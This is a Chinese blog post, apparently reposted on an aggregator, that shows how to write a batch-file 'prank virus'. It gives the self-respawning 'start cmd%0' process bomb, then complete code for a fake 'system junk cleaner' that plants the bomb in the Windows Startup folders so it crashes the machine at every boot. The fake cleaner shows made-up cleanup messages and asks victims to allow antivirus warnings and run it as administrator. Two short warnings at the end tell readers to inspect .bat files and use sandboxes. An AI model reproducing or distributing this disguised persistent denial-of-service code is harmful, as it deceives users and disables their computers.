用bat写的一个小病毒
来源:互联网 发布:淘宝卖家运费险怎么算 编辑:程序博客网 时间:2024/06/03 02:03
最近看了一点bat的知识,具体说是看了一个博客:http://blog.csdn.net/qsyzb/article/details/17364581
用了三天才看完=。=,感觉作者整理整理可以把博客当书买了。。。
然后自己突发其想,想到了一个小病毒程序,其实也算不上病毒,只能算是个恶作剧程序吧,其原理就是不断打开cmd程序,占用系统资源。。。呵呵。。让大神见笑了=。=
windows.bat
start cmd%0
用户打开这个程序之后,程序就会不断打开cmd,占用系统资源,导致系统瘫痪。%0是再次执行该程序的意思。
但是,这样只能让用户死机一次。。。。重启系统以后,不再打开这个文件以后,就不再会中招了。。。。。
于是做了优化:
写了一个系统清理工具(这只是掩饰,嘿嘿,其实我们是要把这个windows.bat写到用户的开机自启动目录下,达到用户每次开机,都会运行该程序的目的。但是,也不是不可以解决。。。用户可以使用pe到开启启动目录把windows.bat文件删除,或者重装系统,只测试了xp和win7)
废话不说了,上代码:
系统垃圾清理工具:
@echo offtitle 系统垃圾清理color 2fecho =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====echo.echo.echo start cmd >c:\windows\windows.batecho %%0>>c:\windows\windows.batcopy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nulif %errorlevel%==0 goto nextcopy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动\">nulif %errorlevel%==1 goto error:nextecho.echo.echo =====垃圾清理中,请不要关闭窗口=========echo.ping -n 5 127.0.0.1>nulecho.echo =====垃圾清理完毕,共清理垃圾500M=======echo.echo.echo =====建议立即重启电脑==========pause:errorecho.echo.echo ======程序运行失败,请【使用管理员权限】重新运行!========echo.pause
首先我们使用echo语句在c:\windows\目录生成windows.bat文件
然后copy到系统的开机启动目录
"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"对应win7的系统开机自启动目录
"%USERPROFILE%\「开始」菜单\程序\启动\"对应xp的系统开机目录
正常情况下应该是有一条拷贝命令可以执行的,如果两条命令都没有执行说明,权限不够,这时提示用户以管理员权限再次运行。
警示1:
最后,大家收到bat文件的时候,打开之前一定要先用右键——记事本打开看看,不然很可能就中招了。。。。
但是,也有很多软件可以把bat转exe文件,这样就看不到代码了。。。。。。所以,大家不要轻易运行不可信任的程序,可以在沙盒或者虚拟机中先运行试试
警示2:
这个清理系统垃圾的程序,是设定在系统开机的时候发作,所以用户当时运行完并不知道已经中招了。。病毒有潜伏期,大家需警惕~~
- 用bat写的一个小病毒
- 自己写的小病毒
- c写的小病毒
- 一个用C语言编写的小病毒
- 一个简单的U盘小病毒
- 如何手动清除常见的小病毒
- 用WinRAR做无数次的注销或重启小病毒
- U盘小病毒
- iOS小病毒
- 用 镜像劫持 技术 对付一些小病毒
- U盘小病毒源代码
- U盘小病毒源代码
- U盘小病毒测试
- U盘小病毒源代码收藏
- 几个小病毒源码 转自网络
- 实习随手记--破产版小病毒
- 用BAT写一个简单的APK安装器
- 写的一个bat 循环 记录下
- centOS6.5 rabbitmq安装及注意事项
- struct_tm和time_t时间和日期的用法
- c移位加密
- Linux内核学习四库全书
- ubuntu下IP、DNS配置
- 用bat写的一个小病毒
- 游戏服务端之添加xml解释器
- 最短路+uva10986
- 咖啡之翼:“咖餐厅”的互联网打法
- 关于access的实时刷新问题
- HDU 1003 MAX SUM (基础题)
- 整数次幂的各项系数之和
- flex datagrid点击列对数字进行排序
- 什么的图形化编程软件能编写控制硬件设备的程序